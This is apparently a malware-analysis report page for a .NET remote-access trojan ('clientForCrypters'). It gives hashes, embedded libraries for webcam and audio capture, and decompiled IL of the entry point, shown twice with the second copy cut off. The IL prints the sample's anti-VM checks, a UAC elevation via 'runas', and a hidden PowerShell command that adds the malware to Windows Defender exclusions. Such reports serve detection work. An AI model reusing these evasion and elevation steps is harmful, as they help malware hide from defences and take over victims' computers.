Suspicious
Suspect

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Medium
MD5 1c3435ad411973d3d82f16d678c01a3d
Sha1 b5ed9a51680ead671d0dbf8b90bfffa5e3d3c5e2
Sha256 da590d16a8738a6c5f055fffcdcb49870e088d37e040bf1fc1880cbf9b3faa51
Sha384 552ba00703f1dd56a1639480853d631caaf6cb4b0461e286a29bb816acfd7e48f5f6a8de23aecdf180b580443887fddb
Sha512 bb86fc55015b166f1b02cfe7da4000cad6775d7f997185b4d6d89542d23f442bfdacabefad5a30f229374adcbdc4866950d3916e8272357b24a3af59cadafd77
SSDeep 49152:UgVUlsHjkmiGWU5+5WDtsclR0BxMzaRw4tXxXRq:UgVUuHjkDGjYQDGuRxzewC
TLSH A5C5011933F9CA0DF1BF0BF8A4B189564771FD029D56D76E19A5B8AD04B2F04AE10B23
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
1c3435ad411973d3d82f16d678c01a3d
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
Client.Properties.Resources.resources
MALG102_deluxe_billy_prop_closeup_jpg_removebg_preview
[NBF]root.Data
[NBF]root.Data-preview.png
UAC
[NBF]root.Data
[NBF]root.Data-preview.png
Z
[NBF]root.Data
[NBF]root.Data-preview.png
result
[NBF]root.Data
[NBF]root.Data-preview.png
screamer
[NBF]root.Data
[NBF]root.Data-preview.png
youtube_LOriFzhoUTA_628x480_h264
Client.Shit.Packaged.Forms.Chat.resources
$this.Icon
[NBF]root.IconData
imageList1.ImageStream
[NBF]root.Data
Client.Shit.Packaged.Forms.Games.MineSweeper.resources
Client.Shit.Packaged.Forms.InputBlock.resources
$this.Icon
[NBF]root.IconData
Client.Shit.Packaged.Forms.LockScreen.resources
$this.Icon
[NBF]root.IconData
costura.aforge.dll.compressed
costura.aforge.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.aforge.video.directshow.dll.compressed
costura.aforge.video.directshow.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
AForge.Video.DirectShow.Properties.Resources.resources
camera
[NBF]root.Data
[NBF]root.Data-preview.png
AForge.Video.DirectShow.VideoCaptureDeviceForm.resources
costura.aforge.video.dll.compressed
costura.aforge.video.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.costura.dll.compressed
costura.costura.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.microsoft.win32.registry.dll.compressed
costura.microsoft.win32.registry.dll
[Authenticode]_c8796d01.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
IBC
ID:0000
ID:0
RT_VERSION
ID:0001
ID:0
.Net Resources
FxResources.Microsoft.Win32.Registry.SR.resources
costura.naudio.asio.dll.compressed
costura.naudio.asio.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.core.dll.compressed
costura.naudio.core.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.dll.compressed
costura.naudio.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.midi.dll.compressed
costura.naudio.midi.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.wasapi.dll.compressed
costura.naudio.wasapi.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.naudio.winforms.dll.compressed
costura.naudio.winforms.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
NAudio.WinForms.Gui.PanSlider.resources
$this.DefaultModifiers
$this.GridSize
$this.Language
NAudio.WinForms.Gui.VolumeSlider.resources
costura.naudio.winmm.dll.compressed
costura.naudio.winmm.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.newtonsoft.json.dll.compressed
costura.newtonsoft.json.dll
[Authenticode]_a3656d89.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.stuff.dll.compressed
costura.stuff.dll
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.system.buffers.dll.compressed
costura.system.buffers.dll
[Authenticode]_8c38879e.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
FxResources.System.Buffers.SR.resources
costura.system.memory.dll.compressed
costura.system.memory.dll
[Authenticode]_15ab3250.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
FxResources.System.Memory.SR.resources
costura.system.numerics.vectors.dll.compressed
costura.system.numerics.vectors.dll
[Authenticode]_ae030d4d.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
FxResources.System.Numerics.Vectors.SR.resources
costura.system.resources.extensions.dll.compressed
costura.system.resources.extensions.dll
[Authenticode]_f4f062be.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
FxResources.System.Resources.Extensions.SR.resources
ILLink.Substitutions.xml
costura.system.runtime.compilerservices.unsafe.dll.compressed
costura.system.runtime.compilerservices.unsafe.dll
[Authenticode]_2ce621b7.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.system.security.accesscontrol.dll.compressed
costura.system.security.accesscontrol.dll
[Authenticode]_d262bb6d.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
FxResources.System.Security.AccessControl.SR.resources
costura.system.security.principal.windows.dll.compressed
costura.system.security.principal.windows.dll
[Authenticode]_20569987.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
IBC
ID:0000
ID:0
RT_VERSION
ID:0001
ID:0
.Net Resources
System.Security.Principal.Windows.xml
costura.metadata
STICH beta

No STICH Path has been generated for this analysis yet.

6 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 4img 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
zYbycHfB0000
Full Name
zYbycHfB0000
EntryPoint
System.Void Program::Main(System.String[])
Scope Name
zYbycHfB0000
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
clientForCrypters
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
4436
Main Method
System.Void Program::Main(System.String[])
Main IL Instruction Count
232
Main IL 
newobj System.Void Program/<>c__DisplayClass1_0::.ctor()
stloc.0 <null>
ldloc.0 <null>
ldarg.0 <null>
stfld System.String[] Program/<>c__DisplayClass1_0::args
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
brfalse.s IL_003F: ldloc.0
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldlen <null>
brfalse.s IL_003F: ldloc.0
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldc.i4.0 <null>
ldelem.ref <null>
ldstr --raton-v20-dpapi-worker
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_003F: ldloc.0
call System.Int32 gjwmсpni040b.naһsicκdwg040c::RunStage1Worker()
stloc.1 <null>
ldloc.1 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
blt.s IL_0075: call System.Boolean wpiᴛizpisᴏim0132.рtnsfqκwѕu0133::CreateMutex()
ldc.i4.s 30
call System.String Stuff.Helpers::Random(System.Int32)
stsfld System.String ɡkуbrngx0001.oрqjdxqan0002::Mutex
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldc.i4.0 <null>
ldelem.ref <null>
stsfld System.String ɡkуbrngx0001.oрqjdxqan0002::ht
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldc.i4.1 <null>
ldelem.ref <null>
call System.Int32 System.Convert::ToInt32(System.String)
stsfld System.Int32 ɡkуbrngx0001.oрqjdxqan0002::pt
call System.Boolean wpiᴛizpisᴏim0132.рtnsfqκwѕu0133::CreateMutex()
brtrue.s IL_0082: ldsfld System.Threading.ThreadExceptionEventHandler Program/<>c::<>9__1_0
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.Threading.ThreadExceptionEventHandler Program/<>c::<>9__1_0
dup <null>
brtrue.s IL_00A1: call System.Void System.Windows.Forms.Application::add_ThreadException(System.Threading.ThreadExceptionEventHandler)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_0(System.Object,System.Threading.ThreadExceptionEventArgs)
newobj System.Void System.Threading.ThreadExceptionEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadExceptionEventHandler Program/<>c::<>9__1_0
call System.Void System.Windows.Forms.Application::add_ThreadException(System.Threading.ThreadExceptionEventHandler)
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.UnhandledExceptionEventHandler Program/<>c::<>9__1_1
dup <null>
brtrue.s IL_00CA: callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_1(System.Object,System.UnhandledExceptionEventArgs)
newobj System.Void System.UnhandledExceptionEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.UnhandledExceptionEventHandler Program/<>c::<>9__1_1
callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
ldsfld System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs> Program/<>c::<>9__1_2
dup <null>
brtrue.s IL_00EE: call System.Void System.Threading.Tasks.TaskScheduler::add_UnobservedTaskException(System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs>)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_2(System.Object,System.Threading.Tasks.UnobservedTaskExceptionEventArgs)
newobj System.Void System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs> Program/<>c::<>9__1_2
call System.Void System.Threading.Tasks.TaskScheduler::add_UnobservedTaskException(System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs>)
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
ldc.i4.0 <null>
call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean)
ldsfld System.Int32 ɡkуbrngx0001.oрqjdxqan0002::Delay
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::HideFile
brfalse.s IL_012A: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::VM
call System.Void HideClient::Execute()
leave.s IL_012A: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::VM
stloc.2 <null>
ldstr HideFile
ldloc.2 <null>
call System.Void Program::LogError(System.String,System.Exception)
leave.s IL_012A: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::VM
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::VM
brfalse.s IL_0164: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::HidProc
call System.Boolean ozdoxvбdwa02d1.kwqбrjddh02d2::tyјᴜzzԁԁx02d3()
brtrue.s IL_0154: call System.Void ozdoxvбdwa02d1.kwqбrjddh02d2::рzhhhνzgykl02db()
call System.Boolean ozdoxvбdwa02d1.kwqбrjddh02d2::zνunkxvzјⅼјvi02d4()
brtrue.s IL_0154: call System.Void ozdoxvбdwa02d1.kwqбrjddh02d2::рzhhhνzgykl02db()
call System.Boolean ozdoxvбdwa02d1.kwqбrjddh02d2::ioᴜosmklnһx02d5()
brtrue.s IL_0154: call System.Void ozdoxvбdwa02d1.kwqбrjddh02d2::рzhhhνzgykl02db()
call System.Boolean ozdoxvбdwa02d1.kwqбrjddh02d2::kchykunxզr02d6()
brtrue.s IL_0154: call System.Void ozdoxvбdwa02d1.kwqбrjddh02d2::рzhhhνzgykl02db()
call System.Boolean ozdoxvбdwa02d1.kwqбrjddh02d2::һһjngјyncgvr02d7()
brfalse.s IL_015F: call System.Void Shit.DebugProtector.VMCheck::Analyze()
call System.Void ozdoxvбdwa02d1.kwqбrjddh02d2::рzhhhνzgykl02db()
ldc.i4.m1 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Shit.DebugProtector.VMCheck::Analyze()
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::HidProc
brfalse.s IL_0171: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::UAC
newobj System.Void ProcessKiller::.ctor()
pop <null>
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::UAC
brfalse.s IL_01B7: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::OpenWebsite
call System.Boolean wsnilkjnnа0134.jslnvryуo0135::Admin()
brtrue.s IL_01B7: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::OpenWebsite
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_01B7: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::OpenWebsite
pop <null>
leave.s IL_01B7: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::OpenWebsite
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::OpenWebsite
brfalse.s IL_01CE: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::Box
ldsfld System.String ɡkуbrngx0001.oрqjdxqan0002::Website
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
leave.s IL_01CE: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::Box
pop <null>
leave.s IL_01CE: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::Box
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::Box
brfalse.s IL_01FA: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::ProcessCritical
ldsfld System.Action Program/<>c::<>9__1_3
dup <null>
brtrue.s IL_01F4: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_3()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Program/<>c::<>9__1_3
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::ProcessCritical
brfalse.s IL_0206: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::Defender
call System.Void processcritical::critical()
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::Defender
brfalse.s IL_0284: nop
call System.Boolean wsnilkjnnа0134.jslnvryуo0135::Admin()
brfalse.s IL_0284: nop
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
dup <null>
brtrue.s IL_0225: call System.String System.Diagnostics.ProcessModule::get_FileName()
pop <null>
ldnull <null>
br.s IL_022A: stloc.3
call System.String System.Diagnostics.ProcessModule::get_FileName()
stloc.3 <null>
ldloc.3 <null>
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue.s IL_027F: leave.s IL_0284
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldstr powershell.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldstr -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass "Add-MpPreference -ExclusionProcess '
ldloc.3 <null>
ldstr '"
call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_4
ldloc.s V_4
brfalse.s IL_027F: leave.s IL_0284
ldloc.s V_4
ldc.i4 5000
call System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32)
pop <null>
leave.s IL_0284: nop
pop <null>
leave.s IL_0284: nop
nop <null>
newobj System.Void Client.Raton.SillyClient::.ctor()
stsfld Client.Raton.SillyClient Program::client
leave.s IL_02A1: ldsfld System.Action Program/<>c::<>9__1_4
stloc.s V_5
ldstr Client Init
ldloc.s V_5
call System.Void Program::LogError(System.String,System.Exception)
leave.s IL_02E2: ret
ldsfld System.Action Program/<>c::<>9__1_4
dup <null>
brtrue.s IL_02C0: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_4()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Program/<>c::<>9__1_4
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldloc.0 <null>
ldftn System.Threading.Tasks.Task Program/<>c__DisplayClass1_0::<Main>b__5()
newobj System.Void System.Func`1<System.Threading.Tasks.Task>::.ctor(System.Object,System.IntPtr)
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
newobj System.Void System.Windows.Forms.ApplicationContext::.ctor()
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.ApplicationContext)
ret <null>
Module Name
zYbycHfB0000
Full Name
zYbycHfB0000
EntryPoint
System.Void Program::Main(System.String[])
Scope Name
zYbycHfB0000
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
clientForCrypters
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
4436
Main Method
System.Void Program::Main(System.String[])
Main IL Instruction Count
232
Main IL 
newobj System.Void Program/<>c__DisplayClass1_0::.ctor()
stloc.0 <null>
ldloc.0 <null>
ldarg.0 <null>
stfld System.String[] Program/<>c__DisplayClass1_0::args
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
brfalse.s IL_003F: ldloc.0
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldlen <null>
brfalse.s IL_003F: ldloc.0
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldc.i4.0 <null>
ldelem.ref <null>
ldstr --raton-v20-dpapi-worker
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_003F: ldloc.0
call System.Int32 gjwmсpni040b.naһsicκdwg040c::RunStage1Worker()
stloc.1 <null>
ldloc.1 <null>
call System.Void System.Environment::Exit(System.Int32)
ret <null>
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
blt.s IL_0075: call System.Boolean wpiᴛizpisᴏim0132.рtnsfqκwѕu0133::CreateMutex()
ldc.i4.s 30
call System.String Stuff.Helpers::Random(System.Int32)
stsfld System.String ɡkуbrngx0001.oрqjdxqan0002::Mutex
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldc.i4.0 <null>
ldelem.ref <null>
stsfld System.String ɡkуbrngx0001.oрqjdxqan0002::ht
ldloc.0 <null>
ldfld System.String[] Program/<>c__DisplayClass1_0::args
ldc.i4.1 <null>
ldelem.ref <null>
call System.Int32 System.Convert::ToInt32(System.String)
stsfld System.Int32 ɡkуbrngx0001.oрqjdxqan0002::pt
call System.Boolean wpiᴛizpisᴏim0132.рtnsfqκwѕu0133::CreateMutex()
brtrue.s IL_0082: ldsfld System.Threading.ThreadExceptionEventHandler Program/<>c::<>9__1_0
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.Threading.ThreadExceptionEventHandler Program/<>c::<>9__1_0
dup <null>
brtrue.s IL_00A1: call System.Void System.Windows.Forms.Application::add_ThreadException(System.Threading.ThreadExceptionEventHandler)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_0(System.Object,System.Threading.ThreadExceptionEventArgs)
newobj System.Void System.Threading.ThreadExceptionEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadExceptionEventHandler Program/<>c::<>9__1_0
call System.Void System.Windows.Forms.Application::add_ThreadException(System.Threading.ThreadExceptionEventHandler)
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.UnhandledExceptionEventHandler Program/<>c::<>9__1_1
dup <null>
brtrue.s IL_00CA: callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_1(System.Object,System.UnhandledExceptionEventArgs)
newobj System.Void System.UnhandledExceptionEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.UnhandledExceptionEventHandler Program/<>c::<>9__1_1
callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
ldsfld System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs> Program/<>c::<>9__1_2
dup <null>
brtrue.s IL_00EE: call System.Void System.Threading.Tasks.TaskScheduler::add_UnobservedTaskException(System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs>)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_2(System.Object,System.Threading.Tasks.UnobservedTaskExceptionEventArgs)
newobj System.Void System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs> Program/<>c::<>9__1_2
call System.Void System.Threading.Tasks.TaskScheduler::add_UnobservedTaskException(System.EventHandler`1<System.Threading.Tasks.UnobservedTaskExceptionEventArgs>)
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
ldc.i4.0 <null>
call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean)
ldsfld System.Int32 ɡkуbrngx0001.oрqjdxqan0002::Delay
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::HideFile
brfalse.s IL_012A: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::VM
call System.Void HideClient::Execute()
leave.s IL_012A: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::VM
stloc.2 <null>
ldstr HideFile
ldloc.2 <null>
call System.Void Program::LogError(System.String,System.Exception)
leave.s IL_012A: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::VM
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::VM
brfalse.s IL_0164: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::HidProc
call System.Boolean ozdoxvбdwa02d1.kwqбrjddh02d2::tyјᴜzzԁԁx02d3()
brtrue.s IL_0154: call System.Void ozdoxvбdwa02d1.kwqбrjddh02d2::рzhhhνzgykl02db()
call System.Boolean ozdoxvбdwa02d1.kwqбrjddh02d2::zνunkxvzјⅼјvi02d4()
brtrue.s IL_0154: call System.Void ozdoxvбdwa02d1.kwqбrjddh02d2::рzhhhνzgykl02db()
call System.Boolean ozdoxvбdwa02d1.kwqбrjddh02d2::ioᴜosmklnһx02d5()
brtrue.s IL_0154: call System.Void ozdoxvбdwa02d1.kwqбrjddh02d2::рzhhhνzgykl02db()
call System.Boolean ozdoxvбdwa02d1.kwqбrjddh02d2::kchykunxզr02d6()
brtrue.s IL_0154: call System.Void ozdoxvбdwa02d1.kwqбrjddh02d2::рzhhhνzgykl02db()
call System.Boolean ozdoxvбdwa02d1.kwqбrjddh02d2::һһjngјyncgvr02d7()
brfalse.s IL_015F: call System.Void Shit.DebugProtector.VMCheck::Analyze()
call System.Void ozdoxvбdwa02d1.kwqбrjddh02d2::рzhhhνzgykl02db()
ldc.i4.m1 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Shit.DebugProtector.VMCheck::Analyze()
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::HidProc
brfalse.s IL_0171: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::UAC
newobj System.Void ProcessKiller::.ctor()
pop <null>
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::UAC
brfalse.s IL_01B7: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::OpenWebsite
call System.Boolean wsnilkjnnа0134.jslnvryуo0135::Admin()
brtrue.s IL_01B7: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::OpenWebsite
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_01B7: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::OpenWebsite
pop <null>
leave.s IL_01B7: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::OpenWebsite
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::OpenWebsite
brfalse.s IL_01CE: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::Box
ldsfld System.String ɡkуbrngx0001.oрqjdxqan0002::Website
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
leave.s IL_01CE: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::Box
pop <null>
leave.s IL_01CE: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::Box
ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::Box
brfalse.s IL_01FA: ldsfld System.Boolean ɡkуbrngx0001.oрqjdxqan0002::ProcessCritical
ldsfld System.Action Program/<>c::<>9__1_3
dup <null>
brtrue.s IL_01F4: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Program/<>c Program/<>c::<>9
ldftn System.Void Program/<>c::<Main>b__1_3()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
